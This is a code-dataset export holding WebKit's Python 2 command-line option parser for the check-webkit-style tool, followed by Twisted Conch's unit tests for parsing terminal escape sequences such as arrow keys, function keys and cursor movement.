# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""Supports the parsing of command-line options for check-webkit-style."""
import logging
from optparse import OptionParser
import os.path
import sys
from filter import validate_filter_rules
# This module should not import anything from checker.py.
_log = logging.getLogger(__name__)
_USAGE = """usage: %prog [--help] [options] [path1] [path2] ...
Overview:
Check coding style according to WebKit style guidelines:
http://webkit.org/coding/coding-style.html
Path arguments can be files and directories. If neither a git commit nor
paths are passed, then all changes in your source control working directory
are checked.
Style errors:
This script assigns to every style error a confidence score from 1-5 and
a category name. A confidence score of 5 means the error is certainly
a problem, and 1 means it could be fine.
Category names appear in error messages in brackets, for example
[whitespace/indent]. See the options section below for an option that
displays all available categories and which are reported by default.
Filters:
Use filters to configure what errors to report. Filters are specified using
a comma-separated list of boolean filter rules. The script reports errors
in a category if the category passes the filter, as described below.
All categories start out passing. Boolean filter rules are then evaluated
from left to right, with later rules taking precedence. For example, the
rule "+foo" passes any category that starts with "foo", and "-foo" fails
any such category. The filter input "-whitespace,+whitespace/braces" fails
the category "whitespace/tab" and passes "whitespace/braces".
Examples: --filter=-whitespace,+whitespace/braces
--filter=-whitespace,-runtime/printf,+runtime/printf_format
--filter=-,+build/include_what_you_use
Paths:
Certain style-checking behavior depends on the paths relative to
the WebKit source root of the files being checked. For example,
certain types of errors may be handled differently for files in
WebKit/gtk/webkit/ (e.g. by suppressing "readability/naming" errors
for files in this directory).
Consequently, if the path relative to the source root cannot be
determined for a file being checked, then style checking may not
work correctly for that file. This can occur, for example, if no
WebKit checkout can be found, or if the source root can be detected,
but one of the files being checked lies outside the source tree.
If a WebKit checkout can be detected and all files being checked
are in the source tree, then all paths will automatically be
converted to paths relative to the source root prior to checking.
This is also useful for display purposes.
Currently, this command can detect the source root only if the
command is run from within a WebKit checkout (i.e. if the current
working directory is below the root of a checkout). In particular,
it is not recommended to run this script from a directory outside
a checkout.
Running this script from a top-level WebKit source directory and
checking only files in the source tree will ensure that all style
checking behaves correctly -- whether or not a checkout can be
detected. This is because all file paths will already be relative
to the source root and so will not need to be converted."""
_EPILOG = ("This script can miss errors and does not substitute for "
"code review.")
# This class should not have knowledge of the flag key names.
class DefaultCommandOptionValues(object):
"""Stores the default check-webkit-style command-line options.
Attributes:
output_format: A string that is the default output format.
min_confidence: An integer that is the default minimum confidence level.
"""
def __init__(self, min_confidence, output_format):
self.min_confidence = min_confidence
self.output_format = output_format
# This class should not have knowledge of the flag key names.
class CommandOptionValues(object):
"""Stores the option values passed by the user via the command line.
Attributes:
is_verbose: A boolean value of whether verbose logging is enabled.
filter_rules: The list of filter rules provided by the user.
These rules are appended to the base rules and
path-specific rules and so take precedence over
the base filter rules, etc.
git_commit: A string representing the git commit to check.
The default is None.
min_confidence: An integer between 1 and 5 inclusive that is the
minimum confidence level of style errors to report.
The default is 1, which reports all errors.
output_format: A string that is the output format. The supported
output formats are "emacs" which emacs can parse
and "vs7" which Microsoft Visual Studio 7 can parse.
"""
def __init__(self,
filter_rules=None,
git_commit=None,
diff_files=None,
is_verbose=False,
min_confidence=1,
output_format="emacs"):
if filter_rules is None:
filter_rules = []
if (min_confidence < 1) or (min_confidence > 5):
raise ValueError('Invalid "min_confidence" parameter: value '
"must be an integer between 1 and 5 inclusive. "
'Value given: "%s".' % min_confidence)
if output_format not in ("emacs", "vs7"):
raise ValueError('Invalid "output_format" parameter: '
'value must be "emacs" or "vs7". '
'Value given: "%s".' % output_format)
self.filter_rules = filter_rules
self.git_commit = git_commit
self.diff_files = diff_files
self.is_verbose = is_verbose
self.min_confidence = min_confidence
self.output_format = output_format
# Useful for unit testing.
def __eq__(self, other):
"""Return whether this instance is equal to another."""
if self.filter_rules != other.filter_rules:
return False
if self.git_commit != other.git_commit:
return False
if self.diff_files != other.diff_files:
return False
if self.is_verbose != other.is_verbose:
return False
if self.min_confidence != other.min_confidence:
return False
if self.output_format != other.output_format:
return False
return True
# Useful for unit testing.
def __ne__(self, other):
# Python does not automatically deduce this from __eq__().
return not self.__eq__(other)
class ArgumentPrinter(object):
"""Supports the printing of check-webkit-style command arguments."""
def _flag_pair_to_string(self, flag_key, flag_value):
return '--%(key)s=%(val)s' % {'key': flag_key, 'val': flag_value }
def to_flag_string(self, options):
"""Return a flag string of the given CommandOptionValues instance.
This method orders the flag values alphabetically by the flag key.
Args:
options: A CommandOptionValues instance.
"""
flags = {}
flags['min-confidence'] = options.min_confidence
flags['output'] = options.output_format
# Only include the filter flag if user-provided rules are present.
filter_rules = options.filter_rules
if filter_rules:
flags['filter'] = ",".join(filter_rules)
if options.git_commit:
flags['git-commit'] = options.git_commit
if options.diff_files:
flags['diff_files'] = options.diff_files
flag_string = ''
# Alphabetizing lets us unit test this method.
for key in sorted(flags.keys()):
flag_string += self._flag_pair_to_string(key, flags[key]) + ' '
return flag_string.strip()
class ArgumentParser(object):
# FIXME: Move the documentation of the attributes to the __init__
# docstring after making the attributes internal.
"""Supports the parsing of check-webkit-style command arguments.
Attributes:
create_usage: A function that accepts a DefaultCommandOptionValues
instance and returns a string of usage instructions.
Defaults to the function that generates the usage
string for check-webkit-style.
default_options: A DefaultCommandOptionValues instance that provides
the default values for options not explicitly
provided by the user.
stderr_write: A function that takes a string as a parameter and
serves as stderr.write. Defaults to sys.stderr.write.
This parameter should be specified only for unit tests.
"""
def __init__(self,
all_categories,
default_options,
base_filter_rules=None,
mock_stderr=None,
usage=None):
"""Create an ArgumentParser instance.
Args:
all_categories: The set of all available style categories.
default_options: See the corresponding attribute in the class
docstring.
Keyword Args:
base_filter_rules: The list of filter rules at the beginning of
the list of rules used to check style. This
list has the least precedence when checking
style and precedes any user-provided rules.
The class uses this parameter only for display
purposes to the user. Defaults to the empty list.
create_usage: See the documentation of the corresponding
attribute in the class docstring.
stderr_write: See the documentation of the corresponding
attribute in the class docstring.
"""
if base_filter_rules is None:
base_filter_rules = []
stderr = sys.stderr if mock_stderr is None else mock_stderr
if usage is None:
usage = _USAGE
self._all_categories = all_categories
self._base_filter_rules = base_filter_rules
# FIXME: Rename these to reflect that they are internal.
self.default_options = default_options
self.stderr_write = stderr.write
self._parser = self._create_option_parser(stderr=stderr,
usage=usage,
default_min_confidence=self.default_options.min_confidence,
default_output_format=self.default_options.output_format)
def _create_option_parser(self, stderr, usage,
default_min_confidence, default_output_format):
# Since the epilog string is short, it is not necessary to replace
# the epilog string with a mock epilog string when testing.
# For this reason, we use _EPILOG directly rather than passing it
# as an argument like we do for the usage string.
parser = OptionParser(usage=usage, epilog=_EPILOG)
filter_help = ('set a filter to control what categories of style '
'errors to report. Specify a filter using a comma-'
'delimited list of boolean filter rules, for example '
'"--filter -whitespace,+whitespace/braces". To display '
'all categories and which are enabled by default, pass '
"""no value (e.g. '-f ""' or '--filter=').""")
parser.add_option("-f", "--filter-rules", metavar="RULES",
dest="filter_value", help=filter_help)
git_commit_help = ("check all changes in the given commit. "
"Use 'commit_id..' to check all changes after commmit_id")
parser.add_option("-g", "--git-diff", "--git-commit",
metavar="COMMIT", dest="git_commit", help=git_commit_help,)
diff_files_help = "diff the files passed on the command line rather than checking the style of every line"
parser.add_option("--diff-files", action="store_true", dest="diff_files", default=False, help=diff_files_help)
min_confidence_help = ("set the minimum confidence of style errors "
"to report. Can be an integer 1-5, with 1 "
"displaying all errors. Defaults to %default.")
parser.add_option("-m", "--min-confidence", metavar="INT",
type="int", dest="min_confidence",
default=default_min_confidence,
help=min_confidence_help)
output_format_help = ('set the output format, which can be "emacs" '
'or "vs7" (for Visual Studio). '
'Defaults to "%default".')
parser.add_option("-o", "--output-format", metavar="FORMAT",
choices=["emacs", "vs7"],
dest="output_format", default=default_output_format,
help=output_format_help)
verbose_help = "enable verbose logging."
parser.add_option("-v", "--verbose", dest="is_verbose", default=False,
action="store_true", help=verbose_help)
# Override OptionParser's error() method so that option help will
# also display when an error occurs. Normally, just the usage
# string displays and not option help.
parser.error = self._parse_error
# Override OptionParser's print_help() method so that help output
# does not render to the screen while running unit tests.
print_help = parser.print_help
parser.print_help = lambda file=stderr: print_help(file=file)
return parser
def _parse_error(self, error_message):
"""Print the help string and an error message, and exit."""
# The method format_help() includes both the usage string and
# the flag options.
help = self._parser.format_help()
# Separate help from the error message with a single blank line.
self.stderr_write(help + "\n")
if error_message:
_log.error(error_message)
# Since we are using this method to replace/override the Python
# module optparse's OptionParser.error() method, we match its
# behavior and exit with status code 2.
#
# As additional background, Python documentation says--
#
# "Unix programs generally use 2 for command line syntax errors
# and 1 for all other kind of errors."
#
# (from http://docs.python.org/library/sys.html#sys.exit )
sys.exit(2)
def _exit_with_categories(self):
"""Exit and print the style categories and default filter rules."""
self.stderr_write('\nAll categories:\n')
for category in sorted(self._all_categories):
self.stderr_write(' ' + category + '\n')
self.stderr_write('\nDefault filter rules**:\n')
for filter_rule in sorted(self._base_filter_rules):
self.stderr_write(' ' + filter_rule + '\n')
self.stderr_write('\n**The command always evaluates the above rules, '
'and before any --filter flag.\n\n')
sys.exit(0)
def _parse_filter_flag(self, flag_value):
"""Parse the --filter flag, and return a list of filter rules.
Args:
flag_value: A string of comma-separated filter rules, for
example "-whitespace,+whitespace/indent".
"""
filters = []
for uncleaned_filter in flag_value.split(','):
filter = uncleaned_filter.strip()
if not filter:
continue
filters.append(filter)
return filters
def parse(self, args):
"""Parse the command line arguments to check-webkit-style.
Args:
args: A list of command-line arguments as returned by sys.argv[1:].
Returns:
A tuple of (paths, options)
paths: The list of paths to check.
options: A CommandOptionValues instance.
"""
(options, paths) = self._parser.parse_args(args=args)
filter_value = options.filter_value
git_commit = options.git_commit
diff_files = options.diff_files
is_verbose = options.is_verbose
min_confidence = options.min_confidence
output_format = options.output_format
if filter_value is not None and not filter_value:
# Then the user explicitly passed no filter, for
# example "-f ''" or "--filter=".
self._exit_with_categories()
# Validate user-provided values.
min_confidence = int(min_confidence)
if (min_confidence < 1) or (min_confidence > 5):
self._parse_error('option --min-confidence: invalid integer: '
'%s: value must be between 1 and 5'
% min_confidence)
if filter_value:
filter_rules = self._parse_filter_flag(filter_value)
else:
filter_rules = []
try:
validate_filter_rules(filter_rules, self._all_categories)
except ValueError, err:
self._parse_error(err)
options = CommandOptionValues(filter_rules=filter_rules,
git_commit=git_commit,
diff_files=diff_files,
is_verbose=is_verbose,
min_confidence=min_confidence,
output_format=output_format)
return (paths, options)
|
bsd-3-clause
|
SimVascular/VTK
|
ThirdParty/Twisted/twisted/conch/test/test_insults.py
|
27
|
17887
|
# -*- test-case-name: twisted.conch.test.test_insults -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
from twisted.trial import unittest
from twisted.test.proto_helpers import StringTransport
from twisted.conch.insults.insults import ServerProtocol, ClientProtocol
from twisted.conch.insults.insults import CS_UK, CS_US, CS_DRAWING, CS_ALTERNATE, CS_ALTERNATE_SPECIAL
from twisted.conch.insults.insults import G0, G1
from twisted.conch.insults.insults import modes
def _getattr(mock, name):
return super(Mock, mock).__getattribute__(name)
def occurrences(mock):
return _getattr(mock, 'occurrences')
def methods(mock):
return _getattr(mock, 'methods')
def _append(mock, obj):
occurrences(mock).append(obj)
default = object()
class Mock(object):
callReturnValue = default
def __init__(self, methods=None, callReturnValue=default):
"""
@param methods: Mapping of names to return values
@param callReturnValue: object __call__ should return
"""
self.occurrences = []
if methods is None:
methods = {}
self.methods = methods
if callReturnValue is not default:
self.callReturnValue = callReturnValue
def __call__(self, *a, **kw):
returnValue = _getattr(self, 'callReturnValue')
if returnValue is default:
returnValue = Mock()
# _getattr(self, 'occurrences').append(('__call__', returnValue, a, kw))
_append(self, ('__call__', returnValue, a, kw))
return returnValue
def __getattribute__(self, name):
methods = _getattr(self, 'methods')
if name in methods:
attrValue = Mock(callReturnValue=methods[name])
else:
attrValue = Mock()
# _getattr(self, 'occurrences').append((name, attrValue))
_append(self, (name, attrValue))
return attrValue
class MockMixin:
def assertCall(self, occurrence, methodName, expectedPositionalArgs=(),
expectedKeywordArgs={}):
attr, mock = occurrence
self.assertEqual(attr, methodName)
self.assertEqual(len(occurrences(mock)), 1)
[(call, result, args, kw)] = occurrences(mock)
self.assertEqual(call, "__call__")
self.assertEqual(args, expectedPositionalArgs)
self.assertEqual(kw, expectedKeywordArgs)
return result
_byteGroupingTestTemplate = """\
def testByte%(groupName)s(self):
transport = StringTransport()
proto = Mock()
parser = self.protocolFactory(lambda: proto)
parser.factory = self
parser.makeConnection(transport)
bytes = self.TEST_BYTES
while bytes:
chunk = bytes[:%(bytesPer)d]
bytes = bytes[%(bytesPer)d:]
parser.dataReceived(chunk)
self.verifyResults(transport, proto, parser)
"""
class ByteGroupingsMixin(MockMixin):
protocolFactory = None
for word, n in [('Pairs', 2), ('Triples', 3), ('Quads', 4), ('Quints', 5), ('Sexes', 6)]:
exec _byteGroupingTestTemplate % {'groupName': word, 'bytesPer': n}
del word, n
def verifyResults(self, transport, proto, parser):
result = self.assertCall(occurrences(proto).pop(0), "makeConnection", (parser,))
self.assertEqual(occurrences(result), [])
del _byteGroupingTestTemplate
class ServerArrowKeys(ByteGroupingsMixin, unittest.TestCase):
protocolFactory = ServerProtocol
# All the arrow keys once
TEST_BYTES = '\x1b[A\x1b[B\x1b[C\x1b[D'
def verifyResults(self, transport, proto, parser):
ByteGroupingsMixin.verifyResults(self, transport, proto, parser)
for arrow in (parser.UP_ARROW, parser.DOWN_ARROW,
parser.RIGHT_ARROW, parser.LEFT_ARROW):
result = self.assertCall(occurrences(proto).pop(0), "keystrokeReceived", (arrow, None))
self.assertEqual(occurrences(result), [])
self.assertFalse(occurrences(proto))
class PrintableCharacters(ByteGroupingsMixin, unittest.TestCase):
protocolFactory = ServerProtocol
# Some letters and digits, first on their own, then capitalized,
# then modified with alt
TEST_BYTES = 'abc123ABC!@#\x1ba\x1bb\x1bc\x1b1\x1b2\x1b3'
def verifyResults(self, transport, proto, parser):
ByteGroupingsMixin.verifyResults(self, transport, proto, parser)
for char in 'abc123ABC!@#':
result = self.assertCall(occurrences(proto).pop(0), "keystrokeReceived", (char, None))
self.assertEqual(occurrences(result), [])
for char in 'abc123':
result = self.assertCall(occurrences(proto).pop(0), "keystrokeReceived", (char, parser.ALT))
self.assertEqual(occurrences(result), [])
occs = occurrences(proto)
self.assertFalse(occs, "%r should have been []" % (occs,))
class ServerFunctionKeys(ByteGroupingsMixin, unittest.TestCase):
"""Test for parsing and dispatching function keys (F1 - F12)
"""
protocolFactory = ServerProtocol
byteList = []
for bytes in ('OP', 'OQ', 'OR', 'OS', # F1 - F4
'15~', '17~', '18~', '19~', # F5 - F8
'20~', '21~', '23~', '24~'): # F9 - F12
byteList.append('\x1b[' + bytes)
TEST_BYTES = ''.join(byteList)
del byteList, bytes
def verifyResults(self, transport, proto, parser):
ByteGroupingsMixin.verifyResults(self, transport, proto, parser)
for funcNum in range(1, 13):
funcArg = getattr(parser, 'F%d' % (funcNum,))
result = self.assertCall(occurrences(proto).pop(0), "keystrokeReceived", (funcArg, None))
self.assertEqual(occurrences(result), [])
self.assertFalse(occurrences(proto))
class ClientCursorMovement(ByteGroupingsMixin, unittest.TestCase):
protocolFactory = ClientProtocol
d2 = "\x1b[2B"
r4 = "\x1b[4C"
u1 = "\x1b[A"
l2 = "\x1b[2D"
# Move the cursor down two, right four, up one, left two, up one, left two
TEST_BYTES = d2 + r4 + u1 + l2 + u1 + l2
del d2, r4, u1, l2
def verifyResults(self, transport, proto, parser):
ByteGroupingsMixin.verifyResults(self, transport, proto, parser)
for (method, count) in [('Down', 2), ('Forward', 4), ('Up', 1),
('Backward', 2), ('Up', 1), ('Backward', 2)]:
result = self.assertCall(occurrences(proto).pop(0), "cursor" + method, (count,))
self.assertEqual(occurrences(result), [])
self.assertFalse(occurrences(proto))
class ClientControlSequences(unittest.TestCase, MockMixin):
def setUp(self):
self.transport = StringTransport()
self.proto = Mock()
self.parser = ClientProtocol(lambda: self.proto)
self.parser.factory = self
self.parser.makeConnection(self.transport)
result = self.assertCall(occurrences(self.proto).pop(0), "makeConnection", (self.parser,))
self.assertFalse(occurrences(result))
def testSimpleCardinals(self):
self.parser.dataReceived(
''.join([''.join(['\x1b[' + str(n) + ch for n in ('', 2, 20, 200)]) for ch in 'BACD']))
occs = occurrences(self.proto)
for meth in ("Down", "Up", "Forward", "Backward"):
for count in (1, 2, 20, 200):
result = self.assertCall(occs.pop(0), "cursor" + meth, (count,))
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testScrollRegion(self):
self.parser.dataReceived('\x1b[5;22r\x1b[r')
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "setScrollRegion", (5, 22))
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "setScrollRegion", (None, None))
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testHeightAndWidth(self):
self.parser.dataReceived("\x1b#3\x1b#4\x1b#5\x1b#6")
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "doubleHeightLine", (True,))
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "doubleHeightLine", (False,))
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "singleWidthLine")
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "doubleWidthLine")
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testCharacterSet(self):
self.parser.dataReceived(
''.join([''.join(['\x1b' + g + n for n in 'AB012']) for g in '()']))
occs = occurrences(self.proto)
for which in (G0, G1):
for charset in (CS_UK, CS_US, CS_DRAWING, CS_ALTERNATE, CS_ALTERNATE_SPECIAL):
result = self.assertCall(occs.pop(0), "selectCharacterSet", (charset, which))
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testShifting(self):
self.parser.dataReceived("\x15\x14")
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "shiftIn")
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "shiftOut")
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testSingleShifts(self):
self.parser.dataReceived("\x1bN\x1bO")
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "singleShift2")
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "singleShift3")
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testKeypadMode(self):
self.parser.dataReceived("\x1b=\x1b>")
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "applicationKeypadMode")
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "numericKeypadMode")
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testCursor(self):
self.parser.dataReceived("\x1b7\x1b8")
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "saveCursor")
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "restoreCursor")
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testReset(self):
self.parser.dataReceived("\x1bc")
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "reset")
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testIndex(self):
self.parser.dataReceived("\x1bD\x1bM\x1bE")
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "index")
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "reverseIndex")
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "nextLine")
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testModes(self):
self.parser.dataReceived(
"\x1b[" + ';'.join(map(str, [modes.KAM, modes.IRM, modes.LNM])) + "h")
self.parser.dataReceived(
"\x1b[" + ';'.join(map(str, [modes.KAM, modes.IRM, modes.LNM])) + "l")
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "setModes", ([modes.KAM, modes.IRM, modes.LNM],))
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "resetModes", ([modes.KAM, modes.IRM, modes.LNM],))
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testErasure(self):
self.parser.dataReceived(
"\x1b[K\x1b[1K\x1b[2K\x1b[J\x1b[1J\x1b[2J\x1b[3P")
occs = occurrences(self.proto)
for meth in ("eraseToLineEnd", "eraseToLineBeginning", "eraseLine",
"eraseToDisplayEnd", "eraseToDisplayBeginning",
"eraseDisplay"):
result = self.assertCall(occs.pop(0), meth)
self.assertFalse(occurrences(result))
result = self.assertCall(occs.pop(0), "deleteCharacter", (3,))
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testLineDeletion(self):
self.parser.dataReceived("\x1b[M\x1b[3M")
occs = occurrences(self.proto)
for arg in (1, 3):
result = self.assertCall(occs.pop(0), "deleteLine", (arg,))
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testLineInsertion(self):
self.parser.dataReceived("\x1b[L\x1b[3L")
occs = occurrences(self.proto)
for arg in (1, 3):
result = self.assertCall(occs.pop(0), "insertLine", (arg,))
self.assertFalse(occurrences(result))
self.assertFalse(occs)
def testCursorPosition(self):
methods(self.proto)['reportCursorPosition'] = (6, 7)
self.parser.dataReceived("\x1b[6n")
self.assertEqual(self.transport.value(), "\x1b[7;8R")
occs = occurrences(self.proto)
result = self.assertCall(occs.pop(0), "reportCursorPosition")
# This isn't really an interesting assert, since it only tests that
# our mock setup is working right, but I'll include it anyway.
self.assertEqual(result, (6, 7))
def test_applicationDataBytes(self):
"""
Contiguous non-control bytes are passed to a single call to the
C{write} method of the terminal to which the L{ClientProtocol} is
connected.
"""
occs = occurrences(self.proto)
self.parser.dataReceived('a')
self.assertCall(occs.pop(0), "write", ("a",))
self.parser.dataReceived('bc')
self.assertCall(occs.pop(0), "write", ("bc",))
def _applicationDataTest(self, data, calls):
occs = occurrences(self.proto)
self.parser.dataReceived(data)
while calls:
self.assertCall(occs.pop(0), *calls.pop(0))
self.assertFalse(occs, "No other calls should happen: %r" % (occs,))
def test_shiftInAfterApplicationData(self):
"""
Application data bytes followed by a shift-in command are passed to a
call to C{write} before the terminal's C{shiftIn} method is called.
"""
self._applicationDataTest(
'ab\x15', [
("write", ("ab",)),
("shiftIn",)])
def test_shiftOutAfterApplicationData(self):
"""
Application data bytes followed by a shift-out command are passed to a
call to C{write} before the terminal's C{shiftOut} method is called.
"""
self._applicationDataTest(
'ab\x14', [
("write", ("ab",)),
("shiftOut",)])
def test_cursorBackwardAfterApplicationData(self):
"""
Application data bytes followed by a cursor-backward command are passed
to a call to C{write} before the terminal's C{cursorBackward} method is
called.
"""
self._applicationDataTest(
'ab\x08', [
("write", ("ab",)),
("cursorBackward",)])
def test_escapeAfterApplicationData(self):
"""
Application data bytes followed by an escape character are passed to a
call to C{write} before the terminal's handler method for the escape is
called.
"""
# Test a short escape
self._applicationDataTest(
'ab\x1bD', [
("write", ("ab",)),
("index",)])
# And a long escape
self._applicationDataTest(
'ab\x1b[4h', [
("write", ("ab",)),
("setModes", ([4],))])
# There's some other cases too, but they're all handled by the same
# codepaths as above.
class ServerProtocolOutputTests(unittest.TestCase):
"""
Tests for the bytes L{ServerProtocol} writes to its transport when its
methods are called.
"""
def test_nextLine(self):
"""
L{ServerProtocol.nextLine} writes C{"\r\n"} to its transport.
"""
# Why doesn't it write ESC E? Because ESC E is poorly supported. For
# example, gnome-terminal (many different versions) fails to scroll if
# it receives ESC E and the cursor is already on the last row.
protocol = ServerProtocol()
transport = StringTransport()
protocol.makeConnection(transport)
protocol.nextLine()
self.assertEqual(transport.value(), "\r\n")
class Deprecations(unittest.TestCase):
"""
Tests to ensure deprecation of L{insults.colors} and L{insults.client}
"""
def ensureDeprecated(self, message):
"""
Ensures that the correct deprecation warning was issued.
"""
warnings = self.flushWarnings()
self.assertIs(warnings[0]['category'], DeprecationWarning)
self.assertEqual(warnings[0]['message'], message)
self.assertEqual(len(warnings), 1)
def test_colors(self):
"""
The L{insults.colors} module is deprecated
"""
from twisted.conch.insults import colors
self.ensureDeprecated("twisted.conch.insults.colors was deprecated "
"in Twisted 10.1.0: Please use "
"twisted.conch.insults.helper instead.")
def test_client(self):
"""
The L{insults.client} module is deprecated
"""
from twisted.conch.insults import client
self.ensureDeprecated("twisted.conch.insults.client was deprecated "
"in Twisted 10.1.0: Please use "
"twisted.conch.insults.insults instead.")
|
bsd-3-clause
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.